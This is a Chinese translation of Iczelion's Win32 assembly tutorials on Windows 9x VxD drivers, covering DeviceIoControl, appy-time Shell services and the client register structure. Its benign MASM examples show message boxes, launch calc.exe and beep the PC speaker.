    _PTEXT       CLASS 'PCODE'    NONDISCARDABLE
    _PMSGTABLE   CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PMSGDATA    CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PDATA       CLASS 'PDATA'    NONDISCARDABLE SHARED
    _STEXT       CLASS 'SCODE'    RESIDENT
    _SDATA       CLASS 'SCODE'    RESIDENT
    _DBOSTART    CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBOCODE     CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBODATA     CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _16ICODE     CLASS '16ICODE'  PRELOAD DISCARDABLE
    _RCODE       CLASS 'RCODE'

EXPORTS

    MESSAGE_DDB  @1

汇编过程：

ml -coff -c -Cx -DMASM6 -DBLD_COFF -DIS_32 message.asm

link -VxD -def:message.def message.obj

VxD 的安装：
  • 把message.VxD放到\system目录下。
  • 在system.ini文件里的[386enh]部分里加上如下的一行：
      device=message.VxD
  • 重启你的计算机。

    • 测试这个VxD：

    打开一dos窗口，你会看到弹出的消息框，显示“A VM is created."。当你关闭一个dos窗口，又会弹出一个消息框显示“A VM is destroyed"。

    由 Ryo 翻译，发表于 http://asm.yeah.net，英文版本来自 [Iczelion's Win32 Assembly Homepage]


DeviceIoControl Interface

DeviceIoControl接口

在这一节中我们将要关于学习动态VXD，特别是如何创建，加载和使用。

点击这里下载例子

VxD接口

VxD总共提供了4种接口。

l VxD services VxD服务

l V86 Interface V86接口

l Protected-mode (PM) Interface 保护模式接口

l Win32 DeviceIoControl Interface Win32设备输入输出控制接口

我们已经知道了VxD服务，V86和保护模式接口是由V86和保护模式程序调用的。因为V86和保护模式程序是16位的，我们不能在Win32应用程序中使用那两种接口。在Windows 95中，微软给Win32应用程序加了另外一个接口所以Win32应用程序可以调用VxD的服务：DeviceIoControl接口（设备输入输出控制接口）

DeviceIoControl接口

简单的说，DeviceIoControl接口是一种为Win32程序准备的调用VxD内部函数的方法。不要混淆DeviceIoControl接口调用函数和用VxD服务调用函数，这两种方法是不一样的。比如说，DeviceIoControl function1 也许和Vxd service1是不一样的。你应给把DeviceIoControl函数作为一种只为Win32应用程序提供的单独的函数。

在Win32程序方面：

首先用CreateFile来打开/加载一个VxD。如果调用成功的话，VxD将会创建/加再到内存中并且CreateFile把VxD的句柄返回到eax中。

接着你调用DeviceIoControlAPI函数来选择要运行的函数。DeviceIoControl函数遵循下面的语法：

DeviceIoControl PROTO hDevice:DWORD,\

dwIoControlCode:DWORD,\

lpInBuffer:DWORD,\

nInBufferSize:DWORD,\

lpOutBuffer:DWORD,\

nOutBufferSize:DWORD,\

lpBytesReturned:DWORD,\

lpOverlapped:DWORD

l hDevice 是从CreateFile返回的VxD句柄。

l dwIoControlCode 是用来制定VxD将要进行的操作。你应该在你要选用那种操作之前得到可能的dwIoControlCode值得列表。

l lpInBuffer 是包含了VxD完成dwIoControlCode所制定操作的数据的缓冲区地址。如果这个操作不需要数据，你可以传为NULL。

l nInBufferSize 是由 lpInBuffer 所指向的缓冲区的地址的大小（byte）。

l lpOutBuffer 是VxD程序在操作成功之后要将输出数据输出到的缓冲区。如果这个操作没有任何返回值，这个值可以为NULL。

l nOutBufferSize 是 lpOutBuffer 所指向的缓冲区的大小（byte）。

l lpBytesReturned是一个dword型变量的地址。这个变量用来接收VxD在 lpOutBuffer中写入数据的大小。

l 如果你想要把操作设成异步的，lpOverlapped 是一个OVERLAPPED结构的指针。如果你要一直等直到操作完成，这个值为NULL。

在VxD方面：

VxD程序必须处理w32_deviceIoControl消息。当VxD收到w32_deviceIoControl消息，它的寄存器是如下值：

l ebx 是VM的句柄。

l esi 是指向 DIOCParams结构的指针。DIOCParams包含了从win32程序传送的信息。

DIOCParams是按照如下定义的：

DIOCParams STRUC

Internal1 DD ?

VMHandle DD ?

Internal2 DD ?

dwIoControlCode DD ?

lpvInBuffer DD ?

cbInBuffer DD ?

lpvOutBuffer DD ?

cbOutBuffer DD ?

lpcbBytesReturned DD ?

lpoOverlapped DD ?

hDevice DD ?

tagProcess DD ?

DIOCParams ENDS

l Internal1 是指向Win32应用应用程序用户寄存器结构的指针。

l VMHandle 虚拟机句柄

l Internal2 是指向设备描述块(DDB)的句柄。

l dwIoControlCode, lpvInBuffer, cbInBuffer, lpvOutBuffer, cbOutBuffer, lpcbBytesReturned, lpOverlapped是传送到DeviceIoControl API的参数。

l hDevice是 ring-3级设备句柄。

l tagProces 是过程的标签。

在DIOCParams结构中有所有从Win32应用程序传送到你的VxD的信息。

你的VxD至少要处理DIOC_Open(传送到dwIoControlCode),那是当Win32程序调用CreateFile打开你的VxD时VWIN32发送给你的VxD的。如果你的VxD准备好了，它必须在eax中返回0而且CreateFile也会成功。如果你的VxD没有准备好，它必须在eas中返回一个非零值而且CreateFile也会失败。除了DIOC_Open,当Win32程序关闭这个设备句柄时，你的VxD将会从VWIN32收到DIOC_Closehandle。

能由CreateFile加载的最小的动态VxD框架：

.386p
include vmm.inc
include vwin32.inc

DECLARE_VIRTUAL_DEVICE DYNAVXD,1,0, DYNAVXD_Control,\
UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

Begin_control_dispatch DYNAVXD
Control_Dispatch w32_DeviceIoControl, OnDeviceIoControl
End_control_dispatch DYNAVXD

VxD_PAGEABLE_CODE_SEG
BeginProc OnDeviceIoControl
assume esi:ptr DIOCParams
.if [esi].dwIoControlCode==DIOC_Open
xor eax,eax
.endif
ret
EndProc OnDeviceIoControl
VxD_PAGEABLE_CODE_ENDS

end

;--------------------------------------------------------------------------------------------------------------------------------
; Module Definition File
;---------------------------------------------------------------------------------------------------------------------------------

VXD DYNAVXD DYNAMIC

SEGMENTS
    _LPTEXT      CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LTEXT       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LDATA       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TEXT        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _DATA        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    CONST        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TLS         CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _BSS         CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LMGTABLE    CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _LMSGDATA    CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _IMSGTABLE   CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _IMSGDATA    CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _ITEXT       CLASS 'ICODE'    DISCARDABLE
    _IDATA       CLASS 'ICODE'    DISCARDABLE
    _PTEXT       CLASS 'PCODE'    NONDISCARDABLE
    _PMSGTABLE   CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PMSGDATA    CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PDATA       CLASS 'PDATA'    NONDISCARDABLE SHARED
    _STEXT       CLASS 'SCODE'    RESIDENT
    _SDATA       CLASS 'SCODE'    RESIDENT
    _DBOSTART    CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBOCODE     CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBODATA     CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _16ICODE     CLASS '16ICODE'  PRELOAD DISCARDABLE
    _RCODE       CLASS 'RCODE'

EXPORTS
    DYNAVXD_DDB  @1

完整例子：

下面是一段加载动态VxD并且通过DeviceIoControl API 来调用VxD内部函数的Win32应用程序的源代码。

; VxDLoader.asm

.386
.model flat,stdcall
include windows.inc
include kernel32.inc
includelib kernel32.lib
include user32.inc
includelib user32.lib

.data
AppName db "DeviceIoControl",0
VxDName db "\\.\shellmsg.vxd",0
Success db "The VxD is successfully loaded!",0
Failure db "The VxD is not loaded!",0
Unload db "The VxD is now unloaded!",0
MsgTitle db "DeviceIoControl Example",0
MsgText db "I'm called from a VxD!",0
InBuffer dd offset MsgTitle
dd offset MsgText
.data?
hVxD dd ?
.code
start:
invoke CreateFile,addr VxDName,0,0,0,0,FILE_FLAG_DELETE_ON_CLOSE,0
.if eax!=INVALID_HANDLE_VALUE
mov hVxD,eax
invoke MessageBox,NULL,addr Success,addr AppName,MB_OK+MB_ICONINFORMATION
invoke DeviceIoControl,hVxD,1,addr InBuffer,8,NULL,NULL,NULL,NULL
invoke CloseHandle,hVxD
invoke MessageBox,NULL,addr Unload,addr AppName,MB_OK+MB_ICONINFORMATION
.else
invoke MessageBox,NULL,addr Failure,NULL,MB_OK+MB_ICONERROR
.endif
invoke ExitProcess,NULL
end start

下面这段源代码是由 vxdloader.asm 调用的动态VxD。
; ShellMsg.asm

.386p
include vmm.inc
include vwin32.inc
include shell.inc

DECLARE_VIRTUAL_DEVICE SHELLMSG,1,0, SHELLMSG_Control,\
UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

Begin_control_dispatch SHELLMSG
Control_Dispatch w32_DeviceIoControl, OnDeviceIoControl
End_control_dispatch SHELLMSG

VxD_PAGEABLE_DATA_SEG
pTitle dd ?
pMessage dd ?
VxD_PAGEABLE_DATA_ENDS

VxD_PAGEABLE_CODE_SEG
BeginProc OnDeviceIoControl
assume esi:ptr DIOCParams
.if [esi].dwIoControlCode==DIOC_Open
xor eax,eax
.elseif [esi].dwIoControlCode==1
mov edi,[esi].lpvInBuffer
;-----------------------------------
; copy the message title to buffer
;-----------------------------------
VMMCall _lstrlen, <[edi]>
inc eax
push eax
VMMCall _HeapAllocate,<eax,HEAPZEROINIT>
mov pTitle,eax
pop eax
VMMCall _lstrcpyn,<pTitle,[edi],eax>
;-----------------------------------
; copy the message text to buffer
;-----------------------------------
VMMCall _lstrlen, <[edi+4]>
inc eax
push eax
VMMCall _HeapAllocate,<eax,HEAPZEROINIT>
mov pMessage,eax
pop eax
VMMCall _lstrcpyn,<pMessage,[edi+4],eax>
mov edi,pTitle
mov ecx,pMessage
mov eax,MB_OK
VMMCall Get_Sys_VM_Handle
VxDCall SHELL_sysmodal_Message
VMMCall _HeapFree,pTitle,0
VMMCall _HeapFree,pMessage,0
xor eax,eax
.endif
ret
EndProc OnDeviceIoControl
VxD_PAGEABLE_CODE_ENDS

end

分析：

我们从VxDLoader.asm开始。

Invoke CreateFile,addrVxDName,0,0,0,0,FILE_FLAG_DELETE_ON_CLOSE,0
.if eax!=INVALID_HANDLE_VALUE
mov hVxD,eax
....
.else
invoke MessageBox,NULL,addr Failure,NULL,MB_OK+MB_ICONERROR
.endif

我们调用CreateFile来加载动态VxD。注意 FILE_FLAG_DELETE_ON_CLOSE 标记。当从CreateFile返回的VxD句柄被关闭的时候，这个标志通知Windows卸载VxD。如果CreateFile成功，我们把VxD句柄保存起来。

invoke MessageBox,NULL,addr Success,addr AppName,MB_OK+MB_ICONINFORMATION
invoke DeviceIoControl,hVxD,1,addr InBuffer,8,NULL,NULL,NULL,NULL
invoke CloseHandle,hVxD
invoke MessageBox,NULL,addr Unload,addr AppName,MB_OK+MB_ICONINFORMATION

当VxD加载/卸载的时候，这个程序会显示一个消息框。它令dwIoControlCode=1然后调用DeviceIoControl。将InBuffer的地址传给lpInBuffer，将InBuffer的大小传给nInBufferSize。InBuffer是一个包括两个元素的数组：每个元素都是一个字符串的地址。

MsgTitle db "DeviceIoControl Example",0
MsgText db "I'm called from a VxD!",0
InBuffer dd offset MsgTitle
dd offset MsgText

现在我们看一下这段VxD。

它只处理w32_deviceIoControl消息。当w32_deviceIoControl消息发送的时候，调用OnDeviceIoControl函数。

BeginProc OnDeviceIoControl
assume esi:ptr DIOCParams
.if [esi].dwIoControlCode==DIOC_Open
xor eax,eax

OnDeviceIoControl 处理DIOC_Open，再eas中返回0。

.elseif [esi].dwIoControlCode==1
mov edi,[esi].lpvInBuffer

它也处理control code 等于1。它做的第一件事是取出在lpyInBuffer中的数据。这个数据是传送到DeviceIoControl API 的lpInBuffer中的两个dword值。它把指向dword数组的地址放到edi中。第一个dword是作为消息框标题的字符串地址。第二个dword是作为消息框文本的字符串地址。

;-----------------------------------
; copy the message title to buffer
;-----------------------------------
VMMCall _lstrlen, <[edi]>
inc eax
push eax
VMMCall _HeapAllocate,<eax,HEAPZEROINIT>
mov pTitle,eax
pop eax
VMMCall _lstrcpyn,<pTitle,[edi],eax>

它调用VMM服务lstrlen来计算消息框标题的长度。lstrlen在eax中返回字符串的长度。我们把这个长度加1来包括结束标记NULL。下一步我们通过调用HeapAllocate来分配一块足够大可以容纳字符串和它的结束标记NULL内存。加上HEAPZEROINIT标记使HeapAllocate将这块内存清零。HeapAllocate在eax中返回这块内存的地址。我们然后从win32 app的地址空间把字符串拷贝到我们申请的内存中。我们对要做消息框文本的字符串做同样的操作。

mov edi,pTitle
mov ecx,pMessage
mov eax,MB_OK
VMMCall Get_Sys_VM_Handle
VxDCall SHELL_sysmodal_Message

我们把标题和文本的地址分别存在edi和ecx中。把想要的标记放在eax中，通过调用Get_Sys_VM_handle得到系统VM的VM 句柄。然后调用SHELL_sysbodal_Message 。SHELL_sysModal_Message是系统SHELL_Message的模式版本。它冻结系统直到用户对消息框做出反应。

VMMCall _HeapFree,pTitle,0
VMMCall _HeapFree,pMessage,0

当SHELL_sysmodal_Message返回时，我们用_HeapFree释放内存。

总结：

DeviceIoControl接口使你的win32应用程序使用动态VxD作为一个ring-0 DLL扩展非常理想。

[Iczelion's Win32 Assembly Homepage]


Iczelion's win32 asm tutorial

请求执行时间段与Shell函数

下载例子程序

理论:

请求执行时间段通常被简称为"appy time"。是指当系统VM稳定到充许VxDs和ring-3级别的应用软件（特别是16-bit的应用软件）交互时的时间段。例如，在一个特定时间段，VxDs能加载并调用在16-bit Dlls中的函数。这个appy time在Windows 3.x中是无效的。在Windows3.x，一个VxD能包含在16-bit DLLs中的任意函数的地址，并模拟一个远调用到这个地址。然而，因为造成了VMM重入，这个操作将中断所有正在ring-3中执行的任务。所以能被VxDs能调用的APIs被要求是中断安全的，象PostMessage。在Windows 95，一个VxD在appy time的帮助下能调用任意一个在16-bit DLLs中的函数。

假如你的VxDs被通知正处在appy time，它就能加载16-bit DLLs并调用其中的函数。VxDs怎么知道appy time到来了呢？这就要使用Shell VxD请求一个appy time。当系统VM在稳定状态，Shell VxD将调用某VxD的一个回调函数，此函数是在VxD请求appy time时指定的。Shell VxD发生一次appy time事件仅仅调用一次你的回调函数。这就象找工作。你到职业介绍所，登记你的名字和电话号码。当你回到家，如有一个工作适合你，职业介绍所将电话通知你这个好消息。当你收到了这个消息，他们就不再通知你了。

在一个appy time起作用前要花上一些时间进行相关处理。appy time事件以下环境中将不起作用：

1、系统启动或关机时。
2、当系统VM在临界段或等待一个信号量时。

管理一个appy time事件

你可以通过调用_SHELL_CallAtAppyTime来注册一个appy time事件，它的定义如下：

VxDCall _SHELL_CallAtAppyTime, <<OFFSET32 pfnCallback>, dwRefData, dwFlags, dwTimeout>

  • pfnCallBack -- 当appy time事件发生时你要Shell VxD调用的回调函数的平板地址。这个函数接收两个参数，dwRefData和dwFlags，与你传送给_SHELL_CallAtAppyTime的两个一样。记住，Shell VxD采用C调用顺序调用你的回调函数。总而言之，你要象这样定义你的回调函数：

    BeginProc OnAppyTime, CCALL, PUBLIC
    ArgVar dwRefData,DWORD ; declare argument name and type
    ArgVar dwFlags, DWORD
    EnterProc
    你的代码...
    LeaveProc
    Return
    EndProc OnAppyTime
  • dwRefData -- 你要Shell VxD传送给你的回调函数的参考数据。可以是你想要的任何东西。
  • dwFlags -- 事件标志。

    如下值之一：
    CAAFL_RING0 ring-0事件
    CAAFL_TIMEOUT 由dwTimeout指定的时间到期事件。

    假如你只想在一定的时间内等待appy time事件，使用CAAFL_TIMEOUT标志。如你想一直等待appy time事件，使用NULL。CAAFL_RING0作用不明。
  • dwTimeout -- 在appy time事件发生前，VxD能等待时间段长度。时间段的单位不明。

这个服务是异步的，意味着你为appy time事件注册回调函数之后立即返回。

如果这个服务调用是成功的，在eax中返回appy time事件句柄。假如调用失败，在eax返回0。

你可以调用_SHELL_CancelAppyTimeEvent来撤消appy time事件注册，它仅有一个参数，就是由_SHELL_CallAtAppyTime返回的appy time事件句柄。

你应当在appy time事件到来时检查系统。例如，当你在系统关闭时注册appy time会发生什么？你的VxD的回调函数将不会得到调用！当appy time事件到来时，你应当调用_SHELL_QueryAppyTimeAvailable来查询系统状态。这个服务没有参数。如果appy time无效，在eax中返回0，例如：当系统关闭时或消息服务程序产生一个一般保护性错误时。

这个服务不会告诉你现在是不是appy time：它仅仅告诉你可能有一个appy time事件到来。简而言之，如果你想安全运行，首先调用_SHELL_QueryAppyTimeAvailable并检查eax中的值是否非零值，然后才可继续调用_SHELL_CallAtAppyTime。

请求执行时间段Shell服务

当appy time到达时，你可以使用几个Shell服务调用：

  • _SHELL_CallDll
  • _SHELL_FreeLibrary
  • _SHELL_GetProcAddress
  • _SHELL_LoadLibrary
  • _SHELL_LocalAllocEx
  • _SHELL_LocalFree

使用提供的这6个服务，VxDs可以调用在16-bit DLLs/EXE中的16-bit函数，象WinHelp。然而，我们马上要进步到32-bit时代（未来是64-bit） ，所以我不会仔细研究它们。如你对此感兴趣，你可以在Windows 95/98DDK文档中了解它们。

另外一些只请求执行时间段服务我想更有用处：_SHELL_ShellExecute和 _SHELL_BroadcastSystemMessage。使用_SHELL_BroadcastSystemMessage，你能在一次调用中发送消息到顶端的窗口和所有的VxDs。如果appy time有效，你可以发送消息到窗口和VxDs。如果appy time无效，你只能发送消息到VxDs。

_SHELL_ShellExecute是在ring-3中的函数ShellExecute在ring-0中的对应函数。实际上，它调用ring-3中的ShellExecute完成这个工作。使用外壳服务，你可以运行/打开/打印任意文件。

_SHELL_ShellExecute的定义如下所示：

VxDCall _SHELL_ShellExecute,<OFFSET32 ShexPacket>

它仅有一个参数，SHEXPACKET结构的平板地址。它从ShellExecute函数中返回一个值到eax中。让我们研究一下SHEXPACKET结构：

shex_dwTotalSize SHEXPACKET结构的字节数加上可选的参数rgchBaggage的大小，它直接跟随在这个结构之后。我等一下描述rgchBaggage。

  • shex_dwTotalSize SHEXPACKET结构的字节数加上可选的参数rgchBaggage的大小，它直接跟随在这个结构之后。我等一下描述rgchBaggage。
  • shex_dwSize SHEXPACKET结构的字节数，不包括rgchBaggage。结合上面的shex_dwTotalSize值，外壳VxD能计算任意长度的rgchBaggage的大小。
  • shex_ibOp 你要完成的操作。假如你指定0，意味着你想要打开一个文件。如果是一个可执行文件，就运行它。如果你想要完成其他的操作，你必须在rgchBaggage中指定操作的名字，在这个域中，必须包括从这个SHEXPACKET结构开始到一个ASCII字符串的距离，此距离大小以字节计数，字符串指定你要完成的操作的名称。SHEXPACKET结构的大小是32字节。如果操作字符串紧跟在SHEXPACKET结构后，shex_ibOp中的值必须是32。要知道你可以完成的操作，请查看ShellExecute服务。有三个操作被定义，"open"、"print"和"explore"。
  • shex_ibFile 从此结构开始到一个ASCII字符串的距离，这个字符串是你想要传递给ShellExecute的文件名，就象Shex_ibOp成员。
  • shex_ibParams 你想传递到由shex_ibFile指定的文件的可选参数。假如此文件是一个文档文件，你不想传递任何参数给它，就用0。假如你想传递参数给那个文件，在把从此结构开始到此成员指定的字符串的距离放在这个成员中。简而言之，就象shex_ibOp和shex_ibFile成员。
  • shex_ibDir 工作目录。假如你想使用Windows目录就指定0，否则指定其为在此结构后的首选目录名字符串，并把从此结构开始到目录名字符串的距离值放到这个成员中。
  • shex_dwReserved 如其名字所指，它是保留的。不要理它。
  • shex_nCmdShow 应用程序窗口怎样被显示。这是一个你正常传递给ShowWindow的值，比如，SW_XXXX值。可在windows.inc中查看这些值。

所有成员的大小都是双字的。在这里我介绍刚才我承诺的rgchBaggage成员。仅有一点不同，因为其大小是可变的，所以它作为SHEXPACKET结构的一员却不能包括在此结构的定义中。查看shell.inc，你看到rgchBaggage并不在SHEXPACKET结构的定义中，尽管在Windows 9x DDK文档中，声明其是SHEXPACKET结构的一员。

rgchBaggage是什么？简单说来其是跟在SHEXPACKET结构后的一个字符串数组。在这个数组中，你可以把你要对文件完成的操作名称、文件的名字、你要传递给文件的参数和工作目录放在其中。首先得到从SHEXPACKET结构到这些字符串的第一个字符之间的距离（即此结构的一些成员值），再把这些值加上SHEXPACKET结构的平板编移量，Shell VxD就能得到这些字符串在rgchBaggage数组中的偏移量。例如，假如SHEXPACKET结构从60000h开始，字符串紧跟其后，结构与字符串之间的距离是结构本身的大小，32字节（20h）。所以Shell VxD知道字符串定位在60020h。

例子

这是一个显示如何注册一个appy time事件并且使用_SHELL_ShellExecute的例子。VxD是动态的，被一个简单的Win32应用程序使用。当一个用户按下"run Calculator"按纽，win32应用程序调用DeviceIoControl去要求VxD注册一个appy time事件并且运行在Windows目录中的calc.exe。

;---------------------------------------------------------------------------------
;                                   VxD Source Code
;---------------------------------------------------------------------------------
.386p
include \masm\include\vmm.inc
include \masm\include\vwin32.inc
include \masm\include\shell.inc
VxDName TEXTEQU
ControlName TEXTEQU
VxDMajorVersion TEXTEQU <1>
VxDMinorVersion TEXTEQU <0>

VxD_STATIC_DATA_SEG
VxD_STATIC_DATA_ENDS

VXD_LOCKED_CODE_SEG
;----------------------------------------------------------------------------
; Remember: The name of the vxd MUST be uppercase else it won't work/unload
;----------------------------------------------------------------------------
DECLARE_VIRTUAL_DEVICE %VxDName,%VxDMajorVersion,%VxDMinorVersion, %ControlName,UNDEFINED_DEVICE_ID,UNDEFINED_INIT_ORDER

Begin_control_dispatch %VxDName
        Control_Dispatch W32_DEVICEIOCONTROL, OnDeviceIoControl
End_control_dispatch %VxDName

BeginProc OnDeviceIoControl
 assume esi:ptr DIOCParams
 .if [esi].dwIoControlCode==1
      VxDCall _SHELL_CallAtAppyTime,<,0,0,0>
 .endif
 xor eax,eax
 ret
EndProc OnDeviceIoControl
VXD_LOCKED_CODE_ENDS

VXD_PAGEABLE_CODE_SEG
BeginProc OnAppyTime, CCALL
 ArgVar RefData,DWORD
 ArgVar TheFlag,DWORD
 EnterProc
 mov File.shex_dwTotalSize,sizeof SHEXPACKET
 add File.shex_dwTotalSize,sizeof EXEName
 mov File.shex_dwSize,sizeof SHEXPACKET
 mov File.shex_ibOp,0
 mov File.shex_ibFile,sizeof SHEXPACKET
 mov File.shex_ibParams,0
 mov File.shex_ibDir,0
 mov File.shex_dwReserved,0
 mov File.shex_nCmdShow,1
 VxDCall _SHELL_ShellExecute,
 LeaveProc
 Return
EndProc OnAppyTime
VXD_PAGEABLE_CODE_ENDS

VXD_PAGEABLE_DATA_SEG
 File SHEXPACKET <>
 EXEName db "calc.exe",0
VXD_PAGEABLE_DATA_ENDS

end

讲解

VxD等待一个DeviceIoControl消息：第1号服务。当它收到上述消息，它将注册一个appy time事件。

VxDCall _SHELL_CallAtAppyTime,<<OFFSET32 OnAppyTime>,0,0,0>

它将传送OnAppyTime函数的平板地址到_SHELL_CallAtAppyTime，这样，当appy time事件发生时，Shell VxD将调用它。因我们不需要使用任何参考数据并且不需要处理过期情况，所以紧跟OnAppyTime函数的三个参数都是0。

当appy time事件发生时， Shell VxD调用OnAppyTime函数。

BeginProc OnAppyTime, CCALL

我们用BeginProc描述一个函数。因为Shell VxD用C调用顺序调用OnAppyTime，我们需要指定CCALL属性。

ArgVar RefData,DWORD
ArgVar TheFlag,DWORD
EnterProc
...
LeaveProc
Return

因为Shell VxD用两个参数调用OnAppyTime，我们必须设置堆栈结构。ArgVar宏用来调整每个要传递到函数的参数的堆栈结构。它的语法如下：

ArgVar varname, size, used

varname是参数的名字。你可以使用你喜欢的任意名字。size是参数的大小。你可以使用BYTE、WORD、DWORD或1,2,4。used通常被忽略。

紧接着ArgVar宏，我们需要使用EnterProc和LeaveProc宏来标志在程序中存放变量和参数的结构的开始与结束，使其能被正确访问。使用Return宏返回到调用者。

    mov File.shex_dwTotalSize,sizeof SHEXPACKET
    add File.shex_dwTotalSize,sizeof EXEName
    mov File.shex_dwSize,sizeof SHEXPACKET
    mov File.shex_ibOp,0
    mov File.shex_ibFile,sizeof SHEXPACKET
    mov File.shex_ibParams,0
    mov File.shex_ibDir,0
    mov File.shex_dwReserved,0
    mov File.shex_nCmdShow,1
    VxDCall _SHELL_ShellExecute,

在这个程序中的指令是简单的：初始化SHEXPACKET结构并且调用_SHELL_ShellExecute服务。记住 shex_dwTotalSize包含SHEXPACKET结构自身的和跟着它的字符串的组合大小。这是一个简单的事情。假如字符串不紧跟在此结构之后的，你必须计算从结构第一个字节到到字符串最后一个字节之间的距离。shex_ibFile包含此结构自身的大小，因为程序名紧跟在此结构之后。shex_ibDir是0，意味着把Windows目录作为工作目录。这并不意味着程序必须在Windows目录中。程序可以在Windows能找到的任意地方。

shex_nCmdShow是1，即SW_SHOWNORMAL的值。

File SHEXPACKET <>
EXEName db "calc.exe",0

我们定义一个SHEXPACKET结构，其后紧跟着想要运行的程序名。

翻译：吕骏，整理：LuoYunBin's Win32 ASM Page， http://asm.yeah.net


Iczelion's win32 asm tutorial

客户寄存器结构

我们将学习本教程中另外一个重要的结构，叫客户寄存器结构。在本文中，V86指虚拟8086模式。在这里下载例子程序

理论

VxDs与正常的win32/win16/DOS应用程序有很大不同。大多数情况下，当其他应用程序正常工作时，它们是休眠的。它们象一个监管者一样工作，其作用是监视ring-3应用程序并在其出错时改正它们。下面是其工作时的典型的情况：

1、中断发生时
2、VMM得到控制权时
3、VMM存贮寄存器组的值时
4、VMM服务于中断或调用其他VxDs完成此工作时
5、VMM交还控制权给被中断的程序时

在以上过程中令人感兴趣的是，VMM只有这一种方式能影响被中断的应用程序，即修改存储的寄存器映象。例如，VMM认为被中断的程序应该返回到另外一个地址，它就修改存储的寄存器映象中CS：IP的值，当这个程序被重新分派时，它将在新的CS：IP处开始执行。

VMM在客户寄存器结构中存储中断点处的寄存器值。

Client_Reg_Struc STRUC
Client_EDI DD ?
Client_ESI DD ?
Client_EBP DD ?
Client_res0 DD ?
Client_EBX DD ?
Client_EDX DD ?
Client_ECX DD ?
Client_EAX DD ?
Client_Error DD ?
Client_EIP DD ?
Client_CS DW ?
Client_res1 DW ?
Client_EFlags DD ?
Client_ESP DD ?
Client_SS DW ?
Client_res2 DW ?
Client_ES DW ?
Client_res3 DW ?
Client_DS DW ?
Client_res4 DW ?
Client_FS DW ?
Client_res5 DW ?
Client_GS DW ?
Client_res6 DW ?
Client_Alt_EIP DD ?
Client_Alt_CS DW ?
Client_res7 DW ?
Client_Alt_EFlags DD ?
Client_Alt_ESP DD ?
Client_Alt_SS DW ?
Client_res8 DW ?
Client_Alt_ES DW ?
Client_res9 DW ?
Client_Alt_DS DW ?
Client_res10 DW ?
Client_Alt_FS DW ?
Client_res11 DW ?
Client_Alt_GS DW ?
Client_res12 DW ?
Client_Reg_Struc ENDS

你可以看到这个结构分为两个部分：Client_xxx和Client_Alt_xxx。在这稍作说明，在一个给定的VM中，可能有两个运行的线程：V86和保护模式。当V86程序运行时，假如一个中断产生，Client_xxx将包含V86程序的寄存器映象，Client_Alt_xxx将包含保护模式程序的寄存器映象。相应的，当保护模式程序运行时，假如一个中断产生，Client_xxx将包含保护模式程序的寄存器映象，Client_Alt_xxx将包含V86程序的寄存器映象。Client_resX被保留而没有使用。

在查看过这个结构后，你可能有一问题：怎样改变寄存器中的一个字节，比如al？上面的结构仅仅描述了字和双字大小的寄存器组。不用担心，在vmm.inc找一找。那有两个为此附加的结构：Client_Word_Reg_Struc和Client_Byte_Reg_Struc。假如你想以字或字节大小来访问寄存器，根据你的需要转换Client_Reg_Struc到Client_Word_Reg_Struc或Client_Byte_Reg_Struc。

下一个问题：我们如何得到一个指向客户寄存器结构的指针？

这相当简单：一般地，当VMM调用我们的VxD时，把客户寄存器结构的地址放在ebp中。在这里的客户寄存器结构是当前VM的。你可以从VM的句柄中得到这个指针。记住，VM的句柄是VM控制块的线性地址。

cb_s STRUC

CB_VM_Status DD ?
CB_High_Linear DD ?
CB_Client_Pointer DD ?
CB_VMID DD ?
CB_Signature DD ?

cb_s ENDS
CB

CB_Client_Pointer包含指向VM的客户寄存器结构的指针。例如：你可用下边的代码得到指向当前VM中的客户寄存器结构的指针：

VMMCall Get_Cur_VM_Handle ; return the current VM handle in ebx
assume ebx:ptr cb_s
mov ebp,[ebx+CB_Client_Pointer] ; pointer to client reg struct

现在我们了解了客户寄存器结构，我们可以用它来开始工作了。我们将使用客户寄存器结构去传送寄存器组的值到一个DOS中断中，也就是，int 21h,功能2h,显示一个字符。这个DOS服务把要显示的字符放在dl中。假如我们传送响铃字符（07h)到这个服务，将通过PC喇叭发出一声响。

记住，int 21h是一个DOS服务，因而其在V86模式下是可用的，我们如何在VxD中调用一个V86中断？一个方法是使用Exec_Int服务。这个VMM服务把要调用的中断号放在eax中。它模拟指定的中断然后返回到调用的VM。然而，它必须在一个嵌套执行块中被调用。嵌套执行块被Begin_Nest_V86_Exec (或 Begin_Nest_Exec)和End_Nest_Exec包括起来。如果我们要调用int 21h功能2h，我们需要在嵌套执行块内转换Client_Byte_Reg_Struc结构的Client_ah和Client_Dl，然后把值21h放在eax中。当一切准备好了，就调用Exec_Int。

例子：

例子是一个动态VxD，它调用int 21h的功能2使PC喇叭发声。

.386p
include \masm\include\vmm.inc
include \masm\include\vwin32.inc
include \masm\include\v86mmgr.inc
VxDName TEXTEQU
ControlName TEXTEQU
VxDMajorVersion TEXTEQU <1>
VxDMinorVersion TEXTEQU <0>

VxD_STATIC_DATA_SEG
VxD_STATIC_DATA_ENDS

VXD_LOCKED_CODE_SEG
;----------------------------------------------------------------------------
; Remember: The name of the vxd MUST be uppercase else it won't work/unload
